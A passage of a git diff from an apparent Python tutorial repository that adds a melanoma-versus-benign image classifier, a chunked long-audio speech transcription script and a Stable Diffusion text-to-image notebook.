JRU5ErkJggg==", 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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "predict_image_class(\"data/test/seborrheic_keratosis/ISIC_0012136.jpg\", m)" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "name": "python", + "version": "3.9.12 (tags/v3.9.12:b28265d, Mar 23 2022, 23:52:46) [MSC v.1929 64 bit (AMD64)]" + }, + "vscode": { + "interpreter": { + "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6" + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.py b/machine-learning/skin-cancer-detection/skin-cancer-detection.py new file mode 100644 index 00000000..a98283ed --- /dev/null +++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.py @@ -0,0 +1,361 @@ +# %% +import tensorflow as tf +import tensorflow_hub as hub +import matplotlib.pyplot as plt +import numpy as np +import pandas as pd +import seaborn as sns +from tensorflow.keras.utils import get_file +from sklearn.metrics import roc_curve, auc, confusion_matrix +from imblearn.metrics import sensitivity_score, specificity_score + +import os +import glob +import zipfile +import random + +# to get consistent results after multiple runs +tf.random.set_seed(7) +np.random.seed(7) +random.seed(7) + +# 0 for benign, 1 for malignant +class_names = ["benign", "malignant"] + + +def download_and_extract_dataset(): + # dataset from https://github.com/udacity/dermatologist-ai + # 5.3GB + train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip" + # 824.5MB + valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip" + # 5.1GB + test_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip" + for i, download_link in enumerate([valid_url, train_url, test_url]): + temp_file = f"temp{i}.zip" + data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file)) + print("Extracting", download_link) + with zipfile.ZipFile(data_dir, "r") as z: + z.extractall("data") + # remove the temp file + os.remove(temp_file) + +# comment the below line if you already downloaded the dataset +download_and_extract_dataset() + +# %% +# preparing data +# generate CSV metadata file to read img paths and labels from it +def generate_csv(folder, label2int): + folder_name = os.path.basename(folder) + labels = list(label2int) + # generate CSV file + df = pd.DataFrame(columns=["filepath", "label"]) + i = 0 + for label in labels: + print("Reading", os.path.join(folder, label, "*")) + for filepath in glob.glob(os.path.join(folder, label, "*")): + df.loc[i] = [filepath, label2int[label]] + i += 1 + output_file = f"{folder_name}.csv" + print("Saving", output_file) + df.to_csv(output_file) + +# generate CSV files for all data portions, labeling nevus and seborrheic keratosis +# as 0 (benign), and melanoma as 1 (malignant) +# you should replace "data" path to your extracted dataset path +# don't replace if you used download_and_extract_dataset() function +generate_csv("data/train", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1}) +generate_csv("data/valid", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1}) +generate_csv("data/test", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1}) + +# %% +# loading data +train_metadata_filename = "train.csv" +valid_metadata_filename = "valid.csv" +# load CSV files as DataFrames +df_train = pd.read_csv(train_metadata_filename) +df_valid = pd.read_csv(valid_metadata_filename) +n_training_samples = len(df_train) +n_validation_samples = len(df_valid) +print("Number of training samples:", n_training_samples) +print("Number of validation samples:", n_validation_samples) +train_ds = tf.data.Dataset.from_tensor_slices((df_train["filepath"], df_train["label"])) +valid_ds = tf.data.Dataset.from_tensor_slices((df_valid["filepath"], df_valid["label"])) + +# %% +# preprocess data +def decode_img(img): + # convert the compressed string to a 3D uint8 tensor + img = tf.image.decode_jpeg(img, channels=3) + # Use `convert_image_dtype` to convert to floats in the [0,1] range. + img = tf.image.convert_image_dtype(img, tf.float32) + # resize the image to the desired size. + return tf.image.resize(img, [299, 299]) + + +def process_path(filepath, label): + # load the raw data from the file as a string + img = tf.io.read_file(filepath) + img = decode_img(img) + return img, label + + +valid_ds = valid_ds.map(process_path) +train_ds = train_ds.map(process_path) +# test_ds = test_ds +for image, label in train_ds.take(1): + print("Image shape:", image.shape) + print("Label:", label.numpy()) + +# %% +# training parameters +batch_size = 64 +optimizer = "rmsprop" + +# %% +def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000): + if cache: + if isinstance(cache, str): + ds = ds.cache(cache) + else: + ds = ds.cache() + # shuffle the dataset + ds = ds.shuffle(buffer_size=shuffle_buffer_size) + + # Repeat forever + ds = ds.repeat() + # split to batches + ds = ds.batch(batch_size) + + # `prefetch` lets the dataset fetch batches in the background while the model + # is training. + ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE) + + return ds + + +valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache="valid-cached-data") +train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache="train-cached-data") + +# %% +batch = next(iter(valid_ds)) + +def show_batch(batch): + plt.figure(figsize=(12,12)) + for n in range(25): + ax = plt.subplot(5,5,n+1) + plt.imshow(batch[0][n]) + plt.title(class_names[batch[1][n].numpy()].title()) + plt.axis('off') + +show_batch(batch) + +# %% +# building the model +# InceptionV3 model & pre-trained weights +module_url = "https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4" +m = tf.keras.Sequential([ + hub.KerasLayer(module_url, output_shape=[2048], trainable=False), + tf.keras.layers.Dense(1, activation="sigmoid") +]) + +m.build([None, 299, 299, 3]) +m.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) +m.summary() + +# %% +model_name = f"benign-vs-malignant_{batch_size}_{optimizer}" +tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join("logs", model_name)) +# saves model checkpoint whenever we reach better weights +modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + "_{val_loss:.3f}.h5", save_best_only=True, verbose=1) + +history = m.fit(train_ds, validation_data=valid_ds, + steps_per_epoch=n_training_samples // batch_size, + validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100, + callbacks=[tensorboard, modelcheckpoint]) + +# %% +# evaluation + +# load testing set +test_metadata_filename = "test.csv" +df_test = pd.read_csv(test_metadata_filename) +n_testing_samples = len(df_test) +print("Number of testing samples:", n_testing_samples) +test_ds = tf.data.Dataset.from_tensor_slices((df_test["filepath"], df_test["label"])) + +def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000): + # This is a small dataset, only load it once, and keep it in memory. + # use `.cache(filename)` to cache preprocessing work for datasets that don't + # fit in memory. + if cache: + if isinstance(cache, str): + ds = ds.cache(cache) + else: + ds = ds.cache() + + ds = ds.shuffle(buffer_size=shuffle_buffer_size) + + return ds + + +test_ds = test_ds.map(process_path) +test_ds = prepare_for_testing(test_ds, cache="test-cached-data") + +# %% +# convert testing set to numpy array to fit in memory (don't do that when testing +# set is too large) +y_test = np.zeros((n_testing_samples,)) +X_test = np.zeros((n_testing_samples, 299, 299, 3)) +for i, (img, label) in enumerate(test_ds.take(n_testing_samples)): + # print(img.shape, label.shape) + X_test[i] = img + y_test[i] = label.numpy() + +print("y_test.shape:", y_test.shape) + +# %% +# load the weights with the least loss +m.load_weights("benign-vs-malignant_64_rmsprop_0.399.h5") + +# %% +print("Evaluating the model...") +loss, accuracy = m.evaluate(X_test, y_test, verbose=0) +print("Loss:", loss, " Accuracy:", accuracy) + +# %% +from sklearn.metrics import accuracy_score + +def get_predictions(threshold=None): + """ + Returns predictions for binary classification given `threshold` + For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if + the probability of 1 is 30% or more (instead of 50%) + """ + y_pred = m.predict(X_test) + if not threshold: + threshold = 0.5 + result = np.zeros((n_testing_samples,)) + for i in range(n_testing_samples): + # test melanoma probability + if y_pred[i][0] >= threshold: + result[i] = 1 + # else, it's 0 (benign) + return result + +threshold = 0.23 +# get predictions with 23% threshold +# which means if the model is 23% sure or more that is malignant, +# it's assigned as malignant, otherwise it's benign +y_pred = get_predictions(threshold) +accuracy_after = accuracy_score(y_test, y_pred) +print("Accuracy after setting the threshold:", accuracy_after) + +# %% +import seaborn as sns +from sklearn.metrics import roc_curve, auc, confusion_matrix + +def plot_confusion_matrix(y_test, y_pred): + cmn = confusion_matrix(y_test, y_pred) + # Normalise + cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis] + # print it + print(cmn) + fig, ax = plt.subplots(figsize=(10,10)) + sns.heatmap(cmn, annot=True, fmt='.2f', + xticklabels=[f"pred_{c}" for c in class_names], + yticklabels=[f"true_{c}" for c in class_names], + cmap="Blues" + ) + plt.ylabel('Actual') + plt.xlabel('Predicted') + # plot the resulting confusion matrix + plt.show() + + +def plot_roc_auc(y_true, y_pred): + """ + This function plots the ROC curves and provides the scores. + """ + # prepare for figure + plt.figure() + fpr, tpr, _ = roc_curve(y_true, y_pred) + # obtain ROC AUC + roc_auc = auc(fpr, tpr) + # print score + print(f"ROC AUC: {roc_auc:.3f}") + # plot ROC curve + plt.plot(fpr, tpr, color="blue", lw=2, + label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc)) + plt.xlim([0.0, 1.0]) + plt.ylim([0.0, 1.05]) + plt.xlabel('False Positive Rate') + plt.ylabel('True Positive Rate') + plt.title('ROC curves') + plt.legend(loc="lower right") + plt.show() + +plot_confusion_matrix(y_test, y_pred) +plot_roc_auc(y_test, y_pred) +sensitivity = sensitivity_score(y_test, y_pred) +specificity = specificity_score(y_test, y_pred) + +print("Melanoma Sensitivity:", sensitivity) +print("Melanoma Specificity:", specificity) + +# %% +def plot_images(X_test, y_pred, y_test): + predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred]) + # some nice plotting + plt.figure(figsize=(10,9)) + for n in range(30, 60): + plt.subplot(6,5,n-30+1) + plt.subplots_adjust(hspace = 0.3) + plt.imshow(X_test[n]) + # get the predicted label + predicted_label = predicted_class_names[n] + # get the actual true label + true_label = class_names[int(round(y_test[n]))] + if predicted_label == true_label: + color = "blue" + title = predicted_label.title() + else: + color = "red" + title = f"{predicted_label.title()}, true:{true_label.title()}" + plt.title(title, color=color) + plt.axis('off') + _ = plt.suptitle("Model predictions (blue: correct, red: incorrect)") + plt.show() + +plot_images(X_test, y_pred, y_test) + +# %% +# a function given a function, it predicts the class of the image +def predict_image_class(img_path, model, threshold=0.5): + img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299)) + img = tf.keras.preprocessing.image.img_to_array(img) + img = tf.expand_dims(img, 0) # Create a batch + img = tf.keras.applications.inception_v3.preprocess_input(img) + img = tf.image.convert_image_dtype(img, tf.float32) + predictions = model.predict(img) + score = predictions.squeeze() + if score >= threshold: + print(f"This image is {100 * score:.2f}% malignant.") + else: + print(f"This image is {100 * (1 - score):.2f}% benign.") + + plt.imshow(img[0]) + plt.axis('off') + plt.show() + +# %% +predict_image_class("data/test/melanoma/ISIC_0013767.jpg", m) + +# %% +predict_image_class("data/test/nevus/ISIC_0012092.jpg", m) + +# %% +predict_image_class("data/test/seborrheic_keratosis/ISIC_0012136.jpg", m) + + diff --git a/machine-learning/speech-recognition/30-4447-0004.wav b/machine-learning/speech-recognition/30-4447-0004.wav new file mode 100644 index 00000000..c1490955 Binary files /dev/null and b/machine-learning/speech-recognition/30-4447-0004.wav differ diff --git a/machine-learning/speech-recognition/7601-291468-0006.wav b/machine-learning/speech-recognition/7601-291468-0006.wav new file mode 100644 index 00000000..0f6d5f83 Binary files /dev/null and b/machine-learning/speech-recognition/7601-291468-0006.wav differ diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py new file mode 100644 index 00000000..f242f92c --- /dev/null +++ b/machine-learning/speech-recognition/long_audio_recognizer.py @@ -0,0 +1,103 @@ +# importing libraries +import speech_recognition as sr +import os +from pydub import AudioSegment +from pydub.silence import split_on_silence + +# create a speech recognition object +r = sr.Recognizer() + +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """Splitting the large audio file into chunks + and apply speech recognition on each of these chunks""" + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 500 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks""" + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + + +if __name__ == '__main__': + import sys + # path = "30-4447-0004.wav" + # path = "7601-291468-0006.wav" + path = sys.argv[1] + print("\nFull text:", get_large_audio_transcription_on_silence(path)) + print("="*50) + print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6)) + \ No newline at end of file diff --git a/machine-learning/speech-recognition/requirements.txt b/machine-learning/speech-recognition/requirements.txt index 9d62c65f..77c44376 100644 --- a/machine-learning/speech-recognition/requirements.txt +++ b/machine-learning/speech-recognition/requirements.txt @@ -1 +1,3 @@ -speech_recognition \ No newline at end of file +speech_recognition +pyaudio +pydub \ No newline at end of file diff --git a/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..aee6b7dc --- /dev/null +++ b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb @@ -0,0 +1,6326 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ZgIU4Ga56Tiq", + "outputId": "764ce650-379a-4bed-d5fb-b5052af024c9" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade diffusers transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "S919oAK46Z8x", + "outputId": "74fe51b4-157d-48a0-9067-6947e2a71bb8" + }, + "outputs": [], + "source": [ + "# The xformers package is mandatory to be able to create several 768x768 images.\n", + "%pip install -q xformers==0.0.16rc425" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Dn2_-E5Sa9Rn" + }, + "source": [ + "# Using Dreamlike Photoreal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "WGIvJ0hE6Z_B" + }, + "outputs": [], + "source": [ + "from diffusers import StableDiffusionPipeline\n", + "import torch" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "d02fc695003f435e9ec25e5ab7eec2bc", + "e16097842da34cd0bc24cfaeab3de404", + "0d2fba8088804ecab806472f5396f1bc", + "8bef2ecbcbcf4ad1bb5e495a52ca2aa6", + "9a2aa30940934458ae53131db74a7406", + "45e95708fe6043c68fd25d8802778998", + "da5028411a634a2eb2e1ed3fcc53ed6c", + "bc42d1c7cdcd4064a1dbcc3eb1f3009b", + "fe3c4a4e4c8b4752a1f1d88da73fb808", + "62924d5b19784abcaa672d995fc15127", + "833477c7e6144deba2f9a7e1e3fb7c12", + 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"dba967ac191d45a0b604e93f0dc1fffe", + "f8cc05786ad94dcca69f1fedf6d4aa4a" + ] + }, + "id": "JzcSCwsF6aBT", + "outputId": "1f223f71-54ed-49fe-8cb5-dcfc183a7c3f" + }, + "outputs": [], + "source": [ + "model_id = \"dreamlike-art/dreamlike-photoreal-2.0\"\n", + "pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n", + "pipe = pipe.to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Sz6SRmjd6pBb" + }, + "outputs": [], + "source": [ + "prompts = [\"Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background\",\n", + " \"Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art\",\n", + " \"Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic\"]\n", + "\n", + "images = []" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 113, + "referenced_widgets": [ + "eb182b33be95418fad1010ccf7b176ab", + "614b85aff85e47debadea7773583b8ab", + "c6305a1adcd946d2a4c66c05e614bcf1", + "d321be86c24d4a35a251d4ef7a75c24d", + "a99edd082dff4f928c3b75abf84ec0ec", + "3d17c5e7b942485d9ca1db572c06afe5", + "29f58c06e0474f4e8f411aaaceb4d7f7", + "f369cc94c2544de3acdbcd35cac6d393", + "0bec42769e7e4492aedd4afb63a91ff3", + "73f2e3215913478aae13131aefadd0a5", + "64f6ec814be648d3ba69f94eb844a049", + "534cf1c7f20a431cab02aea224148db3", + "1997648c2dc946e1bdb18d2730175ea8", + "2496cd9b6ee640f8a6d398b7a56f93b7", + "7f0e7d1bd12b4d0eb800a3d62901c4a8", + "b75a2474c46f4f3b9d84cb981bfffac7", + "ac3ea0ea867b4c30bd4be87aaa602d42", + "ff0910f0831b49ac9faaba1e70c275dc", + "fc5d5de2233543eba400877e7891977a", + "f9a2bf4d86ab403d9e1c7378e91bf467", + "cbcfc8e9b02348a182722c846cecca2a", + "ece36cbb62cd46a8b452fac32dce3493", + "6f400bad53794c7cbed09e4fd59c211d", + "4cecf6bc5f294968bcee7bf65896a31d", + "5bb94e6390af4e81ac0e6b3a47445996", + "af474aa6c91344da9a968e7e2488b74c", + "5a702086896f4a229e326fa05d616b35", + "28cd65b9d6f946abab83e430ab6d2017", + "a432cb1a0bc7418bb90248973e91c452", + "37af49a1966045ee992e01f45ff5df81", + "8120fb8694244e5dbbc448eb2a6e03dc", + "69faef33b09f4da7b1c11639102b2a4f", + "87d35ca268744638ad484ccf1a7fe2ed" + ] + }, + "id": "ovvyensy6pDl", + "outputId": "2b0269af-4978-4a8b-eea9-96c12401dc62" + }, + "outputs": [], + "source": [ + "for i, prompt in enumerate(prompts):\n", + " image = pipe(prompt).images[0]\n", + " image.save(f'result_{i}.jpg')\n", + " images.append(image)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "vd532OSA8Md7", + "outputId": "a8ddd5b1-376b-4036-d87d-af9dc71c88e0" + }, + "outputs": [], + "source": [ + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "ZpVbvylE8OEt", + "outputId": "5a577720-b68e-4657-9cbb-4112287afa23" + }, + "outputs": [], + "source": [ + "images[1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "R1DNPbbz8PU-", + "outputId": "893bb392-96f0-4106-e3d7-f6def830ede1" + }, + "outputs": [], + "source": [ + "images[2]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Jd-5c7bouD-_" + }, + "source": [ + "# Manually working with the different components" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "01bGNP1n6aF4" + }, + "outputs": [], + "source": [ + "import torch\n", + "from torch import autocast\n", + "import numpy as np\n", + "\n", + "from transformers import CLIPTextModel, CLIPTokenizer\n", + "\n", + "from diffusers import AutoencoderKL\n", + "from diffusers import LMSDiscreteScheduler\n", + "from diffusers import UNet2DConditionModel\n", + "from diffusers.schedulers.scheduling_ddim import DDIMScheduler\n", + "\n", + "from tqdm import tqdm\n", + "from PIL import Image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "3yBgKeUs8LWU" + }, + "outputs": [], + "source": [ + "class ImageDiffusionModel:\n", + "\n", + " def __init__(self, vae, tokenizer, text_encoder, unet, \n", + " scheduler_LMS, scheduler_DDIM):\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler_LMS = scheduler_LMS\n", + " self.scheduler_DDIM = scheduler_DDIM\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + " \n", + " \n", + " def get_text_embeds(self, text):\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text, \n", + " padding='max_length', \n", + " max_length=tokenizer.model_max_length, \n", + " truncation=True, \n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + "\n", + " return text_embeds\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + " def get_img_latents(self, \n", + " text_embeds, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5, \n", + " img_latents=None):\n", + " # if no image latent is passed, start reverse diffusion with random noise\n", + " if img_latents is None:\n", + " img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\\\n", + " height // 8, width // 8)).to(self.device)\n", + " # set the number of inference steps for the scheduler\n", + " self.scheduler_LMS.set_timesteps(num_inference_steps)\n", + " # scale the latent embeds\n", + " img_latents = img_latents * self.scheduler_LMS.sigmas[0]\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):\n", + " # do a single forward pass for both the conditional and unconditional latents\n", + " latent_model_input = torch.cat([img_latents] * 2)\n", + " sigma = self.scheduler_LMS.sigmas[i]\n", + " latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']\n", + "\n", + " return img_latents\n", + "\n", + "\n", + " def decode_img_latents(self, img_latents):\n", + " img_latents = img_latents / 0.18215\n", + " with torch.no_grad():\n", + " imgs = self.vae.decode(img_latents)[\"sample\"]\n", + " # load image in the CPU\n", + " imgs = imgs.detach().cpu()\n", + " return imgs\n", + "\n", + "\n", + "\n", + " def transform_imgs(self, imgs):\n", + " # transform images from the range [-1, 1] to [0, 1]\n", + " imgs = (imgs / 2 + 0.5).clamp(0, 1)\n", + " # permute the channels and convert to numpy arrays\n", + " imgs = imgs.permute(0, 2, 3, 1).numpy()\n", + " # scale images to the range [0, 255] and convert to int\n", + " imgs = (imgs * 255).round().astype('uint8') \n", + " # convert to PIL Image objects\n", + " imgs = [Image.fromarray(img) for img in imgs]\n", + " return imgs\n", + " \n", + " \n", + " \n", + " def prompt_to_img(self, \n", + " prompts, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5, \n", + " img_latents=None):\n", + " \n", + " # convert prompt to a list\n", + " if isinstance(prompts, str):\n", + " prompts = [prompts]\n", + " \n", + " # get prompt embeddings\n", + " text_embeds = self.get_prompt_embeds(prompts)\n", + "\n", + " # get image embeddings\n", + " img_latents = self.get_img_latents(text_embeds,\n", + " height, width,\n", + " num_inference_steps,\n", + " guidance_scale, \n", + " img_latents)\n", + " # decode the image embeddings\n", + " imgs = self.decode_img_latents(img_latents)\n", + " # convert decoded image to suitable PIL Image format\n", + " imgs = self.transform_imgs(imgs)\n", + "\n", + " return imgs\n", + "\n", + "\n", + "\n", + " def encode_img_latents(self, imgs):\n", + " if not isinstance(imgs, list):\n", + " imgs = [imgs]\n", + " \n", + " imgs = np.stack([np.array(img) for img in imgs], axis=0)\n", + " # scale images to the range [-1, 1]\n", + " imgs = 2 * ((imgs / 255.0) - 0.5)\n", + " imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)\n", + "\n", + " # encode images\n", + " img_latents_dist = self.vae.encode(imgs.to(self.device))\n", + " # img_latents = img_latents_dist.sample()\n", + " img_latents = img_latents_dist[\"latent_dist\"].mean.clone()\n", + " # scale images\n", + " img_latents *= 0.18215\n", + "\n", + " return img_latents\n", + "\n", + "\n", + " def get_img_latents_similar(self,\n", + " img_latents,\n", + " text_embeds, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5,\n", + " start_step=10): \n", + " \n", + " # set the number of inference steps for the scheduler\n", + " self.scheduler_DDIM.set_timesteps(num_inference_steps)\n", + "\n", + " if start_step > 0:\n", + " start_timestep = self.scheduler_DDIM.timesteps[start_step]\n", + " start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()\n", + "\n", + " noise = torch.randn_like(img_latents)\n", + " img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)\n", + " \n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):\n", + " # do a single forward pass for both the conditional and unconditional latents\n", + " latent_model_input = torch.cat([img_latents] * 2)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']\n", + "\n", + " return img_latents\n", + "\n", + " \n", + " def similar_imgs(self, \n", + " img, \n", + " prompt, \n", + " height=512, width=512,\n", + " num_inference_steps=50, \n", + " guidance_scale=7.5,\n", + " start_step=10):\n", + " \n", + " # get image latents\n", + " img_latents = self.encode_img_latents(img)\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + "\n", + " text_embeds = self.get_prompt_embeds(prompt)\n", + " \n", + " img_latents = self.get_img_latents_similar(img_latents=img_latents,\n", + " text_embeds=text_embeds,\n", + " height=height, width=width,\n", + " num_inference_steps=num_inference_steps,\n", + " guidance_scale=guidance_scale,\n", + " start_step=start_step) \n", + "\n", + " imgs = self.decode_img_latents(img_latents)\n", + " imgs = self.transform_imgs(imgs)\n", + " # Clear the CUDA cache\n", + " torch.cuda.empty_cache()\n", + "\n", + " return imgs\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kd6TwWqEs4Me" + }, + "outputs": [], + "source": [ + "device = 'cuda'\n", + "\n", + "# model_name = \"dreamlike-art/dreamlike-photoreal-2.0\"\n", + "model_name = \"CompVis/stable-diffusion-v1-4\"\n", + "# Load autoencoder\n", + "vae = AutoencoderKL.from_pretrained(model_name, \n", + " subfolder='vae').to(device)\n", + "\n", + "# Load tokenizer and the text encoder\n", + "tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder=\"tokenizer\")\n", + "text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder=\"text_encoder\").to(device)\n", + "\n", + "# Load UNet model\n", + "unet = UNet2DConditionModel.from_pretrained(model_name, 